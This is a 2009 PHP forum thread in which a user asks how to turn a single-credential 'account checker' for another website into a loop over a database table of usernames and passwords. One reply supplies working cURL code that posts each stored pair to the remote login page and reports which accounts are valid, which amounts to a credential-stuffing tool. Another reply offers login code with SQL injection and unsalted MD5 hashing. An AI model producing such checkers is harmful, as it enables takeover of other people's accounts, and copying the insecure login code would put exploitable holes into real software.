Turn Hardcode into Database Run

**sith717** · 10-27-2009, 07:14 PM

I currently have this code, its an account checker for a website, it checks if the information is valid or not.

PHP Code:


			
<?php
$username = "username";
$password = "password";

   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, "https://website.com/login.ws"); 
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password."&dest=title.ws&mod=www&ssl=0");
   $pagedata = curl_exec($ch);
   curl_close($ch);
   
   
   
if (preg_match("/Your login was successful. You will shortly be redirected to your destination./i", $pagedata)) {

$valid = "Valid";
   
   } elseif (preg_match("/Login Failed - Invalid Username or Password/i", $pagedata)) {
    $valid = "Invalid";

} else {
$valid = "Cannot check! Too many invalid logins";
}
echo $valid;  

?>

Can someone help me out by turning this into a database run account checker, that means instead of having to do it 1 by 1 by editing:

Code:

$username = "username";
$password = "password";

and reloading the pasge

It can just go to a database select a table, and the 2 columns named:

user
pass

and just go through the rows and check it.

Structure of my table:

Code:

+---------+------------+-----------+
| user_id |  username  |  password |
+---------+------------+-----------+
|       1 | john12     | thepass   |
|       2 | catman17   | cat       |
+---------+------------+-----------+

Is that possible?

**Andy Pugh** · 10-28-2009, 07:24 AM

Hi Sith, it is indeed possible, you can use sessions. Below is the basic information you need, called the below page login.php and point your form at it.

PHP Code:


			
<?php
session_start();

require_once('database.php'); // database connection information

$username = $_POST['username'];

$sql = "SELECT user_id, username FROM user WHERE username = '".$username."' AND password = '".md5($_POST['password'])."' LIMIT 1";
    $result = mysql_query($sql)or die(mysql_error());
    $valid = mysql_num_rows($result);
    if($valid > 0){
        $row = mysql_fetch_assoc($result);
        $_SESSION['user_id'] = $row['user_id'];
        $_SESSION['username'] = $row['username'];
        header("Location:loggedin.php");
    }else{
         header("Location:failed.php");
    }

Remember to include session_start(); at the very top of each of your pages, then create a page called checklogin.php and include the following code.

PHP Code:


			
if($_SESSION['user_id']<1){
    $page = 'loggedout';
}
if($page=='loggedout'){
    session_destroy();
    header('Location:login.php');
}

So your general page structure will look as follows:

PHP Code:


			
<?php 
session_start();
require_once('database.php');
require_once('checklogin.php');
?>
<html>
<head>

</head>

<body>
</body>
</html>

Ensure all of your passwords are inserted into your database as MD5, google it if you aren't aware of what that is.

That should work ok although I wrote it in this box without syntax so there may be errors.

Cheers,
Andy

**sith717** · 10-28-2009, 09:16 AM

This is at all NOT what I need, I already know how to make a login.

I need a script that will directly get information from a table and post it.

Basicly turning this:

PHP Code:


			
$username = "username";
$password = "password";

so it is run by a database.

Because this is a not a login, it checks if the information is correct,
THERE IS NO LOGIN BEFORE IT.

**chrishirst** · 10-28-2009, 09:19 AM

http://www.google.com/search?q=php+login+code+example

**Andy Pugh** · 10-28-2009, 09:32 AM

Actually, that is exactly what this script does. It checks the database for existence of an entered user name and password ? Perhaps you should explain yourself a little better in your posts so as not to waste peoples valuable time.

**spyderwebtech** · 10-28-2009, 11:19 AM

I think what you are asking is to take a table of users and then loop through each user and post that info to the verification script....

If so...

Assuming the structure of your table name 'users'

+---------+------------+-----------+
| user_id | username | password |
+---------+------------+-----------+
| 1 | john12 | thepass |
| 2 | catman17 | cat |
+---------+------------+-----------+

Code:

include_once('database.php');

$sql = "select * from users";

$results = mysql_query($sql);

$ch = curl_init();

 while($user = mysql_fetch_array($results))
{
   $username = $user[0];
$password = $user[1];

   
   curl_setopt($ch, CURLOPT_URL, "https://website.com/login.ws"); 
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password."&dest=title.ws&mod=www&ssl=0");
   $pagedata = curl_exec($ch);
  
   
   
   
if (preg_match("/Your login was successful. You will shortly be redirected to your destination./i", $pagedata)) {

$valid = "Valid";
   
   } elseif (preg_match("/Login Failed - Invalid Username or Password/i", $pagedata)) {
    $valid = "Invalid";

} else {
$valid = "Cannot check! Too many invalid logins";
}
echo $valid;  

}

curl_close($ch);

I believe that is what you are going for.... doesn't make much sense to me...why do a cURL call if you accessing the db directly.

If this still isn't what you are looking for... good luck

**sith717** · 10-28-2009, 01:25 PM

Quote:

Originally Posted by spyderwebtech

I think what you are asking is to take a table of users and then loop through each user and post that info to the verification script....

If so...

Assuming the structure of your table name 'users'

+---------+------------+-----------+
| user_id | username | password |
+---------+------------+-----------+
| 1 | john12 | thepass |
| 2 | catman17 | cat |
+---------+------------+-----------+

Code:

include_once('database.php');

$sql = "select * from users";

$results = mysql_query($sql);

$ch = curl_init();

 while($user = mysql_fetch_array($results))
{
   $username = $user[0];
$password = $user[1];

   
   curl_setopt($ch, CURLOPT_URL, "https://website.com/login.ws"); 
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password."&dest=title.ws&mod=www&ssl=0");
   $pagedata = curl_exec($ch);
  
   
   
   
if (preg_match("/Your login was successful. You will shortly be redirected to your destination./i", $pagedata)) {

$valid = "Valid";
   
   } elseif (preg_match("/Login Failed - Invalid Username or Password/i", $pagedata)) {
    $valid = "Invalid";

} else {
$valid = "Cannot check! Too many invalid logins";
}
echo $valid;  

}

curl_close($ch);

I believe that is what you are going for.... doesn't make much sense to me...why do a cURL call if you accessing the db directly.

If this still isn't what you are looking for... good luck

EXACTLY! I am not accesing my site tho, I am accessing another site.

Also, what does this mean:

PHP Code:


			
$username = $user[0];
$password = $user[1];

And shouldent it be like password[1]?

**spyderwebtech** · 02:46 PM

Code:

$username = $user[1];  /// this is the first column in the database for each record
$password = $user[2]; /// this is the second column in the database for each record

if you had a third column it would be $user[2] and so on and so on

It is not $password[1] because I am setting the result database object in this call

Code: